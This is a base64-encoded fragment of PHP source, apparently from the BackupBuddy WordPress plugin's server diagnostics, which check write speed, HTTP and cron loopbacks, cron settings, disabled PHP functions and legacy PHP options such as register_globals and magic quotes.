GFsdD0iJyAuIHBiX2JhY2t1cGJ1ZGR5OjphamF4X3VybCggJ3JlZnJlc2hfZGF0YWJhc2Vfc2l6ZV9leGNsdWRlZCcgKSAuICciIHRpdGxlPSInIC4gX18oICdSZWZyZXNoJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnIj48aW1nIHNyYz0iJyAuIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fdXJsKCkgLiAnL2ltYWdlcy9yZWZyZXNoX2dyYXkuZ2lmIiBzdHlsZT0idmVydGljYWwtYWxpZ246IC0xcHg7Ij4gPHNwYW4gY2xhc3M9InBiX2JhY2t1cGJ1ZGR5X2xvYWRpbmciIHN0eWxlPSJkaXNwbGF5OiBub25lOyBtYXJnaW4tbGVmdDogMTBweDsiPjxpbWcgc3JjPSInIC4gcGJfYmFja3VwYnVkZHk6OnBsdWdpbl91cmwoKSAuICcvaW1hZ2VzL2xvYWRpbmcuZ2lmIiBhbHQ9IicgLiBfXyggJ0xvYWRpbmcuLi4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICciIHRpdGxlPSInIC4gX18oICdMb2FkaW5nLi4uJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnIiB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHN0eWxlPSJ2ZXJ0aWNhbC1hbGlnbjogLTNweDsiIC8+PC9zcGFuPjwvYT4nLAoJCSd0aXAnICAgICAgICA9PiBfXyggJ1RvdGFsIHNpemUgb2YgeW91ciBkYXRhYmFzZSBFWENMVURJTkcgYW55IHRhYmxlcyB5b3UgaGF2ZSBtYXJrZWQgZm9yIGV4Y2x1c2lvbi4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwKCSk7CgkkcGFyZW50X2NsYXNzX3Rlc3RbJ3N0YXR1cyddID0gJ09LJzsKCWFycmF5X3B1c2goICR0ZXN0cywgJHBhcmVudF9jbGFzc190ZXN0ICk7CgoKCS8qKioqKiBCRUdJTiBBVkVSQUdFIFdSSVRFIFNQRUVEICovCglyZXF1aXJlX29uY2UgcGJfYmFja3VwYnVkZHk6OnBsdWdpbl9wYXRoKCkgLiAnL2NsYXNzZXMvZmlsZW9wdGlvbnMucGhwJzsKCgkkd3JpdGVfc3BlZWRfc2FtcGxlcyA9IDA7Cgkkd3JpdGVfc3BlZWRfc3VtICAgICA9IDA7CgkkYmFja3VwcyAgICAgICAgICAgICA9IGdsb2IoIGJhY2t1cGJ1ZGR5X2NvcmU6OmdldEJhY2t1cERpcmVjdG9yeSgpIC4gJyouemlwJyApOwoJaWYgKCAhIGlzX2FycmF5KCAkYmFja3VwcyApICkgewoJCSRiYWNrdXBzID0gYXJyYXkoKTsKCX0KCWZvcmVhY2ggKCAkYmFja3VwcyBhcyAkYmFja3VwICkgewoKCQkkc2VyaWFsID0gYmFja3VwYnVkZHlfY29yZTo6Z2V0X3NlcmlhbF9mcm9tX2ZpbGUoICRiYWNrdXAgKTsKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdGaWxlb3B0aW9ucyBpbnN0YW5jZSAjMjIuJyApOwoJCSRiYWNrdXBfb3B0aW9ucyA9IG5ldyBwYl9iYWNrdXBidWRkeV9maWxlb3B0aW9ucyggYmFja3VwYnVkZHlfY29yZTo6Z2V0TG9nRGlyZWN0b3J5KCkgLiAnZmlsZW9wdGlvbnMvJyAuICRzZXJpYWwgLiAnLnR4dCcsIHRydWUgKTsKCQkkcmVzdWx0ICAgICAgICAgPSAkYmFja3VwX29wdGlvbnMtPmlzX29rKCk7CgkJaWYgKCB0cnVlICE9PSAkcmVzdWx0ICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnd2FybmluZycsICdVbmFibGUgdG8gb3BlbiBmaWxlb3B0aW9ucyBmaWxlIGAnIC4gYmFja3VwYnVkZHlfY29yZTo6Z2V0TG9nRGlyZWN0b3J5KCkgLiAnZmlsZW9wdGlvbnMvJyAuICRzZXJpYWwgLiAnLnR4dGAuIERldGFpbHM6IGAnIC4gJHJlc3VsdCAuICdgLicgKTsKCQl9CgoKCQlpZiAoIGlzc2V0KCAkYmFja3VwX29wdGlvbnMtPm9wdGlvbnNbJ2ludGVncml0eSddICkgJiYgaXNzZXQoICRiYWNrdXBfb3B0aW9ucy0+b3B0aW9uc1snaW50ZWdyaXR5J11bJ3NpemUnXSApICkgewoJCQkkd3JpdGVfc3BlZWRfc2FtcGxlcysrOwoKCQkJJHNpemUgICAgICAgPSAkYmFja3VwX29wdGlvbnMtPm9wdGlvbnNbJ2ludGVncml0eSddWydzaXplJ107CgkJCSR0aW1lX3Rha2VuID0gMDsKCQkJaWYgKCBpc3NldCggJGJhY2t1cF9vcHRpb25zLT5vcHRpb25zWydzdGVwcyddICkgKSB7CgkJCQlmb3JlYWNoICggJGJhY2t1cF9vcHRpb25zLT5vcHRpb25zWydzdGVwcyddIGFzICRzdGVwICkgewoJCQkJCWlmICggJ2JhY2t1cF96aXBfZmlsZXMnID09ICRzdGVwWydmdW5jdGlvbiddICkgewoJCQkJCQkkdGltZV90YWtlbiA9ICRzdGVwWydmaW5pc2hfdGltZSddIC0gJHN0ZXBbJ3N0YXJ0X3RpbWUnXTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoJCQkJfSAvLyBFbmQgZm9yZWFjaC4KCQkJfSAvLyBFbmQgaWYgc3RlcHMgaXNzZXQuCgoJCQlpZiAoIDAgPT0gJHRpbWVfdGFrZW4gKSB7CgkJCQkkd3JpdGVfc3BlZWRfc2FtcGxlcyA9ICR3cml0ZV9zcGVlZF9zYW1wbGVzLS07IC8vIElnbm9yZSB0aGlzIHNhbXBsZSBzaW5jZSBpdCdzIHRvbyBzbWFsbCB0byBjb3VudC4KCQkJfSBlbHNlIHsKCQkJCSR3cml0ZV9zcGVlZF9zdW0gKz0gJHNpemUgLyAkdGltZV90YWtlbjsgLy8gU3VtIHVwIHdyaXRlIHNwZWVkcy4KCQkJfQoJCX0KCX0KCglpZiAoICR3cml0ZV9zcGVlZF9zdW0gPiAwICkgewoJCSRmaW5hbF93cml0ZV9zcGVlZCAgICAgICA9IHBiX2JhY2t1cGJ1ZGR5OjokZm9ybWF0LT5maWxlX3NpemUoICR3cml0ZV9zcGVlZF9zdW0gLyAkd3JpdGVfc3BlZWRfc2FtcGxlcyApIC4gJy9zZWMnOwoJCSRmaW5hbF93cml0ZV9zcGVlZF9ndWVzcyA9IHBiX2JhY2t1cGJ1ZGR5OjokZm9ybWF0LT5maWxlX3NpemUoICggJHdyaXRlX3NwZWVkX3N1bSAvICR3cml0ZV9zcGVlZF9zYW1wbGVzICkgKiBpbmlfZ2V0KCAnbWF4X2V4ZWN1dGlvbl90aW1lJyApICk7Cgl9IGVsc2UgewoJCSRmaW5hbF93cml0ZV9zcGVlZCAgICAgICA9ICc8aT5Vbmtub3duPC9pPic7CgkJJGZpbmFsX3dyaXRlX3NwZWVkX2d1ZXNzID0gJzxpPlVua25vd248L2k+JzsKCX0KCgkkcGFyZW50X2NsYXNzX3Rlc3QgICAgICAgICAgID0gYXJyYXkoCgkJJ3RpdGxlJyAgICAgID0+ICdBdmVyYWdlIFdyaXRlIFNwZWVkJywKCQknc3VnZ2VzdGlvbicgPT4gJ24vYScsCgkJJ3ZhbHVlJyAgICAgID0+ICRmaW5hbF93cml0ZV9zcGVlZCwKCQkndGlwJyAgICAgICAgPT4gX18oICdBdmVyYWdlIFpJUCBmaWxlIGNyZWF0aW9uIHdyaXRlIHNwZWVkLiBCYWNrdXAgZmlsZSBzaXplcyBkaXZpZGVkIGJ5IHRoZSB0aW1lIHRha2VuIHRvIGNyZWF0ZSBlYWNoLiBTYW1wbGVzJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnOiBgJyAuICR3cml0ZV9zcGVlZF9zYW1wbGVzIC4gJ2AuJywKCSk7CgkkcGFyZW50X2NsYXNzX3Rlc3RbJ3N0YXR1cyddID0gJ09LJzsKCWFycmF5X3B1c2goICR0ZXN0cywgJHBhcmVudF9jbGFzc190ZXN0ICk7CgkvKioqKiogRU5EIEFWRVJBR0UgV1JJVEUgU1BFRUQgKi8KCgoJLy8gR3Vlc3MgbWF4IHNpdGUgc2l6ZSB0byBiZSBhYmxlIHRvIGJhY2t1cC4KCSRwYXJlbnRfY2xhc3NfdGVzdCAgICAgICAgICAgPSBhcnJheSgKCQkndGl0bGUnICAgICAgPT4gJ0d1ZXNzdGltYXRlIG9mIG1heCBaSVAgc2l6ZScsCgkJJ3N1Z2dlc3Rpb24nID0+ICduL2EnLAoJCSd2YWx1ZScgICAgICA9PiAkZmluYWxfd3JpdGVfc3BlZWRfZ3Vlc3MsCgkJJ3RpcCcgICAgICAgID0+IF9fKCAnQ2FsY3VsYXRlZCBlc3RpbWF0ZSBvZiB0aGUgbGFyZ2VzdCAuWklQIGJhY2t1cCBmaWxlIHRoYXQgbWF5IGJlIGNyZWF0ZWQuIEFzIFpJUCBmaWxlcyBhcmUgY29tcHJlc3NlZCB0aGUgc2l0ZSBzaXplIHRoYXQgbWF5IGJlIGJhY2tlZCB1cCBzaG91bGQgYmUgbGFyZ2VyIHRoYW4gdGhpcy4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwKCSk7CgkkcGFyZW50X2NsYXNzX3Rlc3RbJ3N0YXR1cyddID0gJ09LJzsKCWFycmF5X3B1c2goICR0ZXN0cywgJHBhcmVudF9jbGFzc190ZXN0ICk7CgoKCgkvLyBIdHRwIGxvb3BiYWNrcy4KCSRsb29wYmFja19yZXNwb25zZSA9IGJhY2t1cGJ1ZGR5X2NvcmU6Omxvb3BiYWNrX3Rlc3QoKTsKCWlmICggdHJ1ZSA9PT0gJGxvb3BiYWNrX3Jlc3BvbnNlICkgewoJCSRsb29wYmFja19zdGF0dXMgPSAnZW5hYmxlZCc7CgkJJHN0YXR1cyAgICAgICAgICA9IF9fKCAnT0snLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsKCX0gZWxzZSB7CgkJJGxvb3BiYWNrX3N0YXR1cyA9ICdkaXNhYmxlZCAoZW5hYmxlIGFsdGVybmF0ZSBjcm9uKSc7CgkJJHN0YXR1cyAgICAgICAgICA9IF9fKCAnV0FSTklORycsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApOwoJfQoJZ2xvYmFsICRiYWNrdXBidWRkeV9sb29wYmFja19kZXRhaWxzOwoJJHBhcmVudF9jbGFzc190ZXN0ICAgICAgICAgICA9IGFycmF5KAoJCSd0aXRsZScgICAgICA9PiAnSHR0cCBMb29wYmFja3MnLAoJCSdzdWdnZXN0aW9uJyA9PiAnZW5hYmxlZCcsCgkJJ3ZhbHVlJyAgICAgID0+ICRsb29wYmFja19zdGF0dXMgLiAnPGJyPjx0ZXh0YXJlYSBzdHlsZT0id2lkdGg6IDEwMCU7IG1heC1oZWlnaHQ6IDIwMHB4OyIgcmVhZG9ubHk9InRydWUiPicgLiAkYmFja3VwYnVkZHlfbG9vcGJhY2tfZGV0YWlscyAuICc8L3RleHRhcmVhPicsCgkJJ3RpcCcgICAgICAgID0+IF9fKCAnU29tZSBzZXJ2ZXJzIGRvIGFyZSBub3QgY29uZmlndXJlZCBwcm9wZXJseSB0byBhbGxvdyBXb3JkUHJlc3MgdG8gY29ubmVjdCBiYWNrIHRvIGl0c2VsZiB2aWEgdGhlIHNpdGUgVVJMIChpZTogaHR0cDovL3lvdXIuY29tIGNvbm5lY3RzIGJhY2sgdG8gaXRzZWxmIG9uIHRoZSBzYW1lIHNlcnZlciBhdCBodHRwOi8veW91ci5jb20vIHRvIHRyaWdnZXIgYSBzaW11bGF0ZWQgY3JvbiBzdGVwKS4gSWYgdGhpcyBpcyB0aGUgY2FzZSB5b3UgbXVzdCBlaXRoZXIgYXNrIHlvdXIgaG9zdGluZyBwcm92aWRlciB0byBmaXggdGhpcyBvciBlbmFibGUgV29yZFByZXMgQWx0ZXJuYXRlIENyb24gbW9kZSBpbiB5b3VyIHdwLWNvbmZpZy5waHAgZmlsZS4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwKCSk7CgkkcGFyZW50X2NsYXNzX3Rlc3RbJ3N0YXR1cyddID0gJHN0YXR1czsKCWFycmF5X3B1c2goICR0ZXN0cywgJHBhcmVudF9jbGFzc190ZXN0ICk7CgoJLy8gd3AtY3Jvbi5waHAgaHR0cCBsb29wYmFja3MuCglnbG9iYWwgJGJhY2t1cGJ1ZGR5X2Nyb25iYWNrX2RldGFpbHM7CgkkY3JvbmJhY2tfcmVzcG9uc2UgPSBiYWNrdXBidWRkeV9jb3JlOjpjcm9uYmFja190ZXN0KCB0cnVlICk7CglpZiAoIHRydWUgPT09ICRjcm9uYmFja19yZXNwb25zZSApIHsKCQkkY3JvbmJhY2tfc3RhdHVzID0gJ2VuYWJsZWQnOwoJCSRzdGF0dXMgICAgICAgICAgPSBfXyggJ09LJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICk7Cgl9IGVsc2UgewoJCSRjcm9uYmFja19zdGF0dXMgPSAoIGZhbHNlICE9PSBzdHJpc3RyKCAkYmFja3VwYnVkZHlfY3JvbmJhY2tfZGV0YWlscywgJ2lzIHJlYWNoYWJsZScgKSApID8gJ2Jyb2tlbiAodGhlbWUgb3IgcGx1Z2luIGNvbmZsaWN0cyknIDogJ2Rpc2FibGVkIChlbmFibGUgYWx0ZXJuYXRlIGNyb24pJzsKCQkkc3RhdHVzICAgICAgICAgID0gX18oICdXQVJOSU5HJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICk7Cgl9CgkkcGFyZW50X2NsYXNzX3Rlc3QgICAgICAgICAgID0gYXJyYXkoCgkJJ3RpdGxlJyAgICAgID0+ICd3cC1jcm9uLnBocCBMb29wYmFja3MnLAoJCSdzdWdnZXN0aW9uJyA9PiAnZW5hYmxlZCcsCgkJJ3ZhbHVlJyAgICAgID0+ICRjcm9uYmFja19zdGF0dXMgLiAnPGJyPjx0ZXh0YXJlYSBzdHlsZT0id2lkdGg6IDEwMCU7IG1heC1oZWlnaHQ6IDIwMHB4OyIgcmVhZG9ubHk9InRydWUiPicgLiAkYmFja3VwYnVkZHlfY3JvbmJhY2tfZGV0YWlscyAuICc8L3RleHRhcmVhPicsCgkJJ3RpcCcgICAgICAgID0+IF9fKCAnU29tZSBzZXJ2ZXJzIGRvIGFyZSBub3QgY29uZmlndXJlZCBwcm9wZXJseSB0byBhbGxvdyBXb3JkUHJlc3MgdG8gY29ubmVjdCBiYWNrIHRvIGl0c2VsZiB2aWEgdGhlIHNpdGUgVVJMIChpZTogaHR0cDovL3lvdXIuY29tIGNvbm5lY3RzIGJhY2sgdG8gaXRzZWxmIG9uIHRoZSBzYW1lIHNlcnZlciBhdCBodHRwOi8veW91ci5jb20vIHRvIHRyaWdnZXIgYSBzaW11bGF0ZWQgY3JvbiBzdGVwKS4gSWYgdGhpcyBpcyB0aGUgY2FzZSB5b3UgbXVzdCBlaXRoZXIgYXNrIHlvdXIgaG9zdGluZyBwcm92aWRlciB0byBmaXggdGhpcyBvciBlbmFibGUgV29yZFByZXMgQWx0ZXJuYXRlIENyb24gbW9kZSBpbiB5b3VyIHdwLWNvbmZpZy5waHAgZmlsZS4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwKCSk7CgkkcGFyZW50X2NsYXNzX3Rlc3RbJ3N0YXR1cyddID0gJHN0YXR1czsKCWFycmF5X3B1c2goICR0ZXN0cywgJHBhcmVudF9jbGFzc190ZXN0ICk7CgoKCS8vIEh0dHAgbG9vcGJhY2sgVVJMICYgSVAuCgkkc3RhdHVzICAgICAgICAgICAgICAgICAgICAgID0gX18oICdPSycsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApOwoJJHBhcnNlZF91cmwgICAgICAgICAgICAgICAgICA9IHBhcnNlX3VybCggc2l0ZV91cmwoKSApOwoJJGlwICAgICAgICAgICAgICAgICAgICAgICAgICA9IGdldGhvc3RieW5hbWUoICRwYXJzZWRfdXJsWydob3N0J10gKTsKCSRwYXJlbnRfY2xhc3NfdGVzdCAgICAgICAgICAgPSBhcnJheSgKCQkndGl0bGUnICAgICAgPT4gJ0xvb3BiYWNrIERvbWFpbiAmIElQJywKCQknc3VnZ2VzdGlvbicgPT4gJ24vYScsCgkJJ3ZhbHVlJyAgICAgID0+ICRwYXJzZWRfdXJsWydob3N0J10gLiAnID0mZ3Q7ICcgLiAkaXAsCgkJJ3RpcCcgICAgICAgID0+IF9fKCAnU29tZXRpbWVzIGR1ZSB0byBETlMgZGVsYXlzIHRoZSBzZXJ2ZXIgbWF5IGRldGVjdCB0aGUgb2xkIElQIGFkZHJlc3MgYXMgYmVpbmcgYXNzb2NpYXRlZCB3aXRoIHlvdXIgc2l0ZSBkb21haW4gdXNlZCBpbiB0aGUgbG9vcGJhY2sgVVJMLiBUaGlzIGNhbiByZXN1bHQgaW4gbG9vcGJhY2sgcHJvYmxlbXMgZXZlbiB0aG91Z2ggdGhleSBtYXkgYmUgZW5hYmxlZC4gQ29udGFjdCB5b3VyIGhvc3Qgb3Igd2FpdCBsb25nZXIgaWYgdGhlIElQIGFkZHJlc3MgdGhpcyBzZXJ2ZXIgcmVwb3J0cyBpcyBpbmNvcnJlY3QuJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICksCgkpOwoJJHBhcmVudF9jbGFzc190ZXN0WydzdGF0dXMnXSA9ICRzdGF0dXM7CglhcnJheV9wdXNoKCAkdGVzdHMsICRwYXJlbnRfY2xhc3NfdGVzdCApOwoKCgoJLy8gQ1JPTiBkaXNhYmxlZD8KCWlmICggZGVmaW5lZCggJ0RJU0FCTEVfV1BfQ1JPTicgKSAmJiBESVNBQkxFX1dQX0NST04gKSB7CgkJJGNyb25fc3RhdHVzID0gJ2Rpc2FibGVkJzsKCQkkc3RhdHVzICAgICAgPSBfXyggJ0ZBSUwnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsKCX0gZWxzZSB7CgkJJGNyb25fc3RhdHVzID0gJ2VuYWJsZWQnOwoJCSRzdGF0dXMgICAgICA9IF9fKCAnT0snLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsKCX0KCSRwYXJlbnRfY2xhc3NfdGVzdCAgICAgICAgICAgPSBhcnJheSgKCQkndGl0bGUnICAgICAgPT4gX18oICdXb3JkUHJlc3MgQ3JvbicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLAoJCSdzdWdnZXN0aW9uJyA9PiAnZW5hYmxlZCcsCgkJJ3ZhbHVlJyAgICAgID0+ICRjcm9uX3N0YXR1cywKCQkndGlwJyAgICAgICAgPT4gX18oICdUaGlzIGNoZWNrIHZlcmlmaWVzIHRoYXQgdGhlIGNyb24gc3lzdGVtIGhhcyBub3QgYmVlbiBkaXNhYmxlZCBieSB0aGUgRElTQUJMRV9XUF9DUk9OIGNvbnN0YW50LiBUaGlzIG1heSBiZSBkZWZpbmVkIGJ5IGEgcGx1Z2luIG9yIG90aGVyIG1ldGhvZCB0byBkaXNhYmxlIHRoZSBjcm9uIHN5c3RlbSB3aGljaCBtYXkgcmVzdWx0IGluIGF1dG9tYXRlZCBmdW5jdGlvbmFsaXR5IG5vdCBiZWluZyBhdmFpbGFibGUuJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICksCgkpOwoJJHBhcmVudF9jbGFzc190ZXN0WydzdGF0dXMnXSA9ICRzdGF0dXM7CglhcnJheV9wdXNoKCAkdGVzdHMsICRwYXJlbnRfY2xhc3NfdGVzdCApOwoKCgkvLyBBbHRlcm5hdGUgY3JvbiBvbj8KCWlmICggZGVmaW5lZCggJ0FMVEVSTkFURV9XUF9DUk9OJyApICYmIHRydWUgPT09IEFMVEVSTkFURV9XUF9DUk9OICkgewoJCSRhbHRlcm5hdGVfY3Jvbl9zdGF0dXMgPSAnZW5hYmxlZCc7Cgl9IGVsc2UgewoJCSRhbHRlcm5hdGVfY3Jvbl9zdGF0dXMgPSAnZGlzYWJsZWQgKGRlZmF1bHQpJzsKCX0KCSRwYXJlbnRfY2xhc3NfdGVzdCAgICAgICAgICAgPSBhcnJheSgKCQkndGl0bGUnICAgICAgPT4gJ1dvcmRQcmVzcyBBbHRlcm5hdGUgQ3JvbicsCgkJJ3N1Z2dlc3Rpb24nID0+ICdWYXJpZXMgKHNlcnZlci1kZXBlbmRlbnQpJywKCQkndmFsdWUnICAgICAgPT4gJGFsdGVybmF0ZV9jcm9uX3N0YXR1cywKCQkndGlwJyAgICAgICAgPT4gX18oICdTb21lIHNlcnZlcnMgZG8gbm90IGFsbG93IHNpdGVzIHRvIGNvbm5lY3QgYmFjayB0byB0aGVtc2VsdmVzIGF0IHRoZWlyIG93biBVUkwuICBXb3JkUHJlc3MgYW5kIEJhY2t1cEJ1ZGR5IG1ha2UgdXNlIG9mIHRoZXNlICJIdHRwIExvb3BiYWNrcyIgZm9yIHNldmVyYWwgdGhpbmdzLiAgV2l0aG91dCB0aGVtIHlvdSBtYXkgZW5jb3VudGVyIGlzc3Vlcy4gSWYgeW91ciBzZXJ2ZXIgbmVlZHMgaXQgb3IgeW91IGFyZSBkaXJlY3RlZCBieSBzdXBwb3J0IHlvdSBtYXkgZW5hYmxlIEFsdGVybmF0ZSBDcm9uIGluIHlvdXIgd3AtY29uZmlnLnBocCBmaWxlLiAgV2hlbiBlbmFibGVkIHRoaXMgc2V0dGluZyB3aWxsIGRpc3BsYXkgIkVuYWJsZWQiIHRvIHJlbWluZCB5b3UuJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICksCgkpOwoJJHBhcmVudF9jbGFzc190ZXN0WydzdGF0dXMnXSA9IF9fKCAnT0snLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsKCWFycmF5X3B1c2goICR0ZXN0cywgJHBhcmVudF9jbGFzc190ZXN0ICk7Cgp9IC8vIEVuZCBub24taW1wb3J0YnVkZHkgdGVzdHMuCgoKLy8gRElTQUJMRUQgRlVOQ1RJT05TLgokZGlzYWJsZWRfZnVuY3Rpb25zID0gaW5pX2dldCggJ2Rpc2FibGVfZnVuY3Rpb25zJyApOwppZiAoICcnID09ICRkaXNhYmxlZF9mdW5jdGlvbnMgKSB7CgkkZGlzYWJsZWRfZnVuY3Rpb25zID0gJyhub25lKSc7Cn0KJHBhcmVudF9jbGFzc190ZXN0ICAgICAgICAgICA9IGFycmF5KAoJJ3RpdGxlJyAgICAgID0+ICdEaXNhYmxlZCBQSFAgRnVuY3Rpb25zJywKCSdzdWdnZXN0aW9uJyA9PiAnbi9hJywKCSd2YWx1ZScgICAgICA9PiAnPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTsgbWF4LWhlaWdodDogMjAwcHg7IiByZWFkb25seT0idHJ1ZSI+JyAuIHN0cl9yZXBsYWNlKCAnLCcsICcsICcsICRkaXNhYmxlZF9mdW5jdGlvbnMgKSAuICc8L3RleHRhcmVhPicsCgkndGlwJyAgICAgICAgPT4gX18oICdTb21lIGhvc3RzIGJsb2NrIGNlcnRhaW4gUEhQIGZ1bmN0aW9ucyBmb3IgdmFyaW91cyByZWFzb25zLiBTb21ldGltZXMgaG9zdHMgYmxvY2sgZnVuY3Rpb25zIHRoYXQgYXJlIHJlcXVpcmVkIGZvciBwcm9wZXIgZnVuY3Rpb25pbmcgb2YgV29yZFByZXNzIG9yIHBsdWdpbnMuJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICksCik7CiRkaXNhYmxlZF9mdW5jdGlvbnMgICAgICAgICAgPSBzdHJfcmVwbGFjZSggJywgJywgJywnLCAkZGlzYWJsZWRfZnVuY3Rpb25zICk7IC8vIE5vcm1hbGl6ZSBzcGFjZXMgb3IgbGFjayBvZiBzcGFjZXMgYmV0d2VlbiBkaXNhYmxlZCBmdW5jdGlvbnMuCiRkaXNhYmxlZF9mdW5jdGlvbnNfYXJyYXkgICAgPSBleHBsb2RlKCAnLCcsICRkaXNhYmxlZF9mdW5jdGlvbnMgKTsKJHBhcmVudF9jbGFzc190ZXN0WydzdGF0dXMnXSA9ICdPSyc7CmlmICggdHJ1ZSA9PT0gaW5fYXJyYXkoICdleGVjJywgJGRpc2FibGVkX2Z1bmN0aW9uc19hcnJheSApIHx8IHRydWUgPT09IGluX2FycmF5KCAnaW5pX3NldCcsICRkaXNhYmxlZF9mdW5jdGlvbnNfYXJyYXkgKSApIHsKCSRwYXJlbnRfY2xhc3NfdGVzdFsnc3RhdHVzJ10gPSBfXyggJ1dBUk5JTkcnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsKfQphcnJheV9wdXNoKCAkdGVzdHMsICRwYXJlbnRfY2xhc3NfdGVzdCApOwoKCi8vIE1ZU1FMX0NPTk5FQ1QuCmlmICggaXNfY2FsbGFibGUoICdteXNxbF9jb25uZWN0JyApICkgewoJJHBhcmVudF9jbGFzc192YWwgPSAnZW5hYmxlZCc7Cn0gZWxzZSB7CgkkcGFyZW50X2NsYXNzX3ZhbCA9ICdkaXNhYmxlZCc7Cn0KJHBhcmVudF9jbGFzc190ZXN0ICAgICAgICAgICA9IGFycmF5KAoJJ3RpdGxlJyAgICAgID0+ICdQSFAgZnVuY3Rpb246IG15c3FsX2Nvbm5lY3QoKScsCgknc3VnZ2VzdGlvbicgPT4gJ24vYScsCgkndmFsdWUnICAgICAgPT4gJHBhcmVudF9jbGFzc192YWwsCgkndGlwJyAgICAgICAgPT4gX18oICdEZXByZWNhdGVkIGluIFBIUCA1LjUuMCBhbmQgcmVtb3ZlZCBpbiBQSFAgNy4wLjAuIFJlcGxhY2VkIGJ5IG15c3FsaV9jb25uZWN0IG9yIFBETzo6X19jb25zdHJ1Y3QoKScsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLAopOwokcGFyZW50X2NsYXNzX3Rlc3RbJ3N0YXR1cyddID0gX18oICdPSycsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApOwphcnJheV9wdXNoKCAkdGVzdHMsICRwYXJlbnRfY2xhc3NfdGVzdCApOwoKCi8vIFJFR0lTVEVSIEdMT0JBTFMuCmlmICggaW5pX2dldF9ib29sKCAncmVnaXN0ZXJfZ2xvYmFscycgKSA9PT0gdHJ1ZSApIHsKCSRwYXJlbnRfY2xhc3NfdmFsID0gJ2VuYWJsZWQnOwp9IGVsc2UgewoJJHBhcmVudF9jbGFzc192YWwgPSAnZGlzYWJsZWQnOwp9CiRwYXJlbnRfY2xhc3NfdGVzdCA9IGFycmF5KAoJJ3RpdGxlJyAgICAgID0+ICdQSFAgUmVnaXN0ZXIgR2xvYmFscycsCgknc3VnZ2VzdGlvbicgPT4gJ2Rpc2FibGVkJywKCSd2YWx1ZScgICAgICA9PiAkcGFyZW50X2NsYXNzX3ZhbCwKCSd0aXAnICAgICAgICA9PiBfXyggJ0F1dG9tYXRpY2FsbHkgcmVnaXN0ZXJzIHVzZXIgaW5wdXQgYXMgdmFyaWFibGVzLiBISUdITFkgZGlzY291cmFnZWQuIFJlbW92ZWQgZnJvbSBQSFAgaW4gUEhQIDYgZm9yIHNlY3VyaXR5LicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLAopOwppZiAoICdkaXNhYmxlZCcgIT0gJHBhcmVudF9jbGFzc192YWwgKSB7CgkkcGFyZW50X2NsYXNzX3Rlc3RbJ3N0YXR1cyddID0gJ0ZBSUwnOwp9IGVsc2UgewoJJHBhcmVudF9jbGFzc190ZXN0WydzdGF0dXMnXSA9ICdPSyc7Cn0KYXJyYXlfcHVzaCggJHRlc3RzLCAkcGFyZW50X2NsYXNzX3Rlc3QgKTsKCgovLyBNQUdJQyBRVU9URVMgR1BDLgppZiAoIGluaV9nZXRfYm9vbCggJ21hZ2ljX3F1b3Rlc19ncGMnICkgPT09IHRydWUgKSB7CgkkcGFyZW50X2NsYXNzX3ZhbCA9ICdlbmFibGVkJzsKfSBlbHNlIHsKCSRwYXJlbnRfY2xhc3NfdmFsID0gJ2Rpc2FibGVkJzsKfQokcGFyZW50X2NsYXNzX3Rlc3QgPSBhcnJheSgKCSd0aXRsZScgICAgICA9PiAnUEhQIE1hZ2ljIFF1b3RlcyBHUEMnLAoJJ3N1Z2dlc3Rpb24nID0+ICdkaXNhYmxlZCcsCgkndmFsdWUnICAgICAgPT4gJHBhcmVudF9jbGFzc192YWwsCgkndGlwJyAgICAgICAgPT4gX18oICdBdXRvbWF0aWNhbGx5IGVzY2FwZXMgdXNlciBpbnB1dHRlZCBkYXRhLiBOb3QgbmVlZGVkIHdoZW4gdXNpbmcgcHJvcGVybHkgY29kZWQgc29mdHdhcmUuJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICksCik7CmlmICggJ2Rpc2FibGVkJyAhPSAkcGFyZW50X2NsYXNzX3ZhbCApIHsKCSRwYXJlbnRfY2xhc3NfdGVzdFsnc3RhdHVzJ10gPSAnV0FSTklORyc7Cn0gZWxzZSB7CgkkcGFyZW50X2NsYXNzX3Rlc3RbJ3N0YXR1cyddID0gJ09LJzsKfQphcnJheV9wdXNoKCAkdGVzdHMsICRwYXJlbnRfY2xhc3NfdGVzdCApOwoKLy8gTUFHSUMgUVVPVEVTIFJVTlRJTUUuCmlmICggaW5pX2dldF9ib29sKCAnbWFnaWNfcXVvdGVzX3J1bnRpbWUnICkgPT09IHRydWUgKSB7CgkkcGFyZW50X2NsYXNzX3ZhbCA9ICdlbmFibGVkJzsKfSBlbHNlIHsKCSRwYXJlbnRfY2xhc3NfdmFsID0gJ2Rpc2FibGVkJzsKfQokcGFyZW50X2NsYXNzX3Rlc3QgPSBhcnJheSgKCSd0aXRsZScgICAgICA9PiAnUEhQIE1hZ2ljI